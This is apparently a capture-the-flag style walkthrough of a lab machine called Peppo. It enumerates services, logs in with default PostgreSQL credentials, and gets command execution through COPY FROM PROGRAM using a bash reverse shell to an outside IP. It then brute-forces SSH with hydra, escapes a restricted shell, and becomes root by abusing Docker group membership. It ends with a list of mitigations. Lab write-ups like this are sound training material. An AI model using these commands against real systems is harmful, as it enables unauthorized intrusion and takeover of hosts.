Peppo
Introduction
In this walkthrough we will be solving Proving Grounds Hard Windows box Peppo. Let’s start ..
Nmap
TCP
Run a quick Nmap TCP scan:
1
sudo nmap -sV $IP --open
UDP
Check top 100 UDP ports:
1
sudo nmap -sU -F $IP
Full Port Scan
1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open
Services
Port 22
We usually skip SSH.
Port 113
FreeBSD identd
Port 5432
PostgreSQL DB 9.6.0 or later
Public Exploits
1
searchsploit postgresql 9.6
Public exploit didn’t work.
Authentication
1
psql -h $IP -U postgres
I used default credentials
postgres:postgres
and was able to login:Dumping hashes
1
SELECT usename, passwd FROM pg_shadow;
it just returns authentication information of users to PostgreSQL service.
Command Execution
1
COPY kashz FROM PROGRAM "bash -c 'bash -i >& /dev/tcp/192.168.45.191/80 0>&1'"; SELECT * FROM kashz;
I got a connection as postgres user.
Version
The version is 12, that explains why RCE didn’t work.
PG_VERSION=12.3-1.pgdg100+1
I cannot find
local.txt
:1
find / -name local.txt &>/dev/null
Port 10000
Accessing the web page it just shows:
Directory Fuzzing
No result
Webmin RCE
No result.
NDMP
No result.
Web
Port 8080
Public exploits
1
searchsploit Redmine
1
searchsploit WEBrick
Default credentials
It didn’t allow me to do anything without changing a password so I changed it to password
.
It shows us under the settings that Host name and path is localhost:3000
, but it should have had port 8080
, there is something weird happening here, as in the example even it is shown as IP:8080
, maybe this service is run in the container or something similar. Let’s check this assumption with our shell as postgres:
The most important indicator is /.dockerenv
file if it exists then we are in a container.
1
[ -f /.dockerenv ] && echo "Inside a Docker container" || echo "Not in a container”
So have containers.
Loot
- eleanor (port 10000)
Exploitation
From the Loot and identd user enum and nmap scan output we have user eleanor
, we should brute-force her password, with hydra, first let’s make smart-wordlist for eleanor. The box is created in 2020 summer so I am gonna use 2020:
1
2
3
4
5
6
7
8
9
10
11
12
eleanor
ronaele
peppo
oppep
summer2020
Summer2020
Summer2020!
summer2020!
summer2020@
Summer2020@
root
toor
Let’s brute-force ssh with hydra:
1
hydra -l eleanor -P password.list $IP ssh
That’s it we got a hit!
eleanor:eleanor
Credentials
1
eleanor:eleanor
We are in a restricted shell, we should escape it, listing bin directory we see one unusual binary to see
ed
, it turns out it is a text editor. In GTFOBins we not only can leverage sudo | SUID privileges and properties of binaries but also it display possible ways to escape restricted shells, so lets’ check it.
First let’s make shell robust:
1
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
After that fix PATH:
1
export PATH=$PATH:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
We are a member of quite a lot of groups, but most important for us now is Docker. We were indeed in a docker container let’s list docker containers on a host .
1
docker ps
this shows exactly 2 containers that we met before.
Privilege Escalation
- Situational awareness
- Exposed Confidential Information
- Password Authentication Abuse
- Hunting Sensitive Information
- Sudo
- SUID/SGID
- Capabilities
- Cron Jobs Abuse
- Kernel Exploits
- Check if sudoers file is writable
Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password.
1
docker ps
1
2
3
name:ID
postgres:326cfee15738
redmine:71aa857fe988
Let’s inspect which folders are mounted in container from host:
1
docker inspect 326cfee15738 | grep -A 10 '"Mounts"’
I got the same result from redmine container. If either one would have had /root
or /
directories mounted, it would be easier as we could access hosts’ /
and /root
directories.
Volume: A Docker-managed storage area, stored on the host (typically under
/var/lib/docker/volumes/
). Docker handles the location and lifecycle, making it more portable and easier to manage across systems. Volumes are ideal for persistent data like databases.
I tried mounting /
folder but it hanged a lot, then I searched docker in Docker, and used provided command with existing container.
1
docker run -v /:/mnt -it redmine
It would mount host’s /
directory to container’s /mnt
directory where we will be able access host’s /
directory easily.
1
docker run -v /:/mnt --rm -it <container-name> chroot /mnt sh
docker run
: Starts a new container from the specifiedimage. v /:/mnt
: Creates a bind mount, mapping the host’s root directory (/
) to the/mnt
directory inside the container. This means the container can access the entire host filesystem via/mnt
.-rm
: Automatically removes the container after it exits, so it doesn’t persist.i
: Runs the container in interactive mode (keeps STDIN open).t
: Allocates a pseudo-TTY (terminal) for an interactive shell.chroot /mnt
: Changes the root directory of the container’s process to/mnt
(which is the host’s/
due to the bind mount). This effectively makes the host’s filesystem the new root filesystem for the process, so paths like/bin
will refer to the host’s/bin
, not the container’s.sh
: Runs the sh shell (Bourne shell or a symlink to another shell like bash) in the new chroot environment.
Now we are root!
Mitigation
- Disable Default Credentials: The use of default credentials (
postgres:postgres
andeleanor:eleanor
) enabled unauthorized access. All default credentials should be changed during initial setup. - Restrict Docker Group Access: Membership in the
docker
group effectively grants root-level access. Only trusted administrative users should be part of this group. - Isolate Containers Properly: The PostgreSQL and Redmine services were running inside containers but were accessible from the host, and the container had full root access to the host file system. Avoid mounting the entire host file system (
/
) into containers and use container isolation best practices. - Limit Command Execution via PostgreSQL: PostgreSQL’s
COPY
command can be used for command execution when configured insecurely. Limit superuser access, and avoid allowing shell access through database functions. - Harden Restricted Shells: The restricted shell used for
eleanor
was easily bypassed using theed
binary. Remove or restrict such escape-capable binaries and enforce proper shell restrictions. - Firewall Unnecessary Ports: The identd (113) service provided unnecessary user enumeration opportunities. Disable or firewall unused ports and services to reduce the attack surface.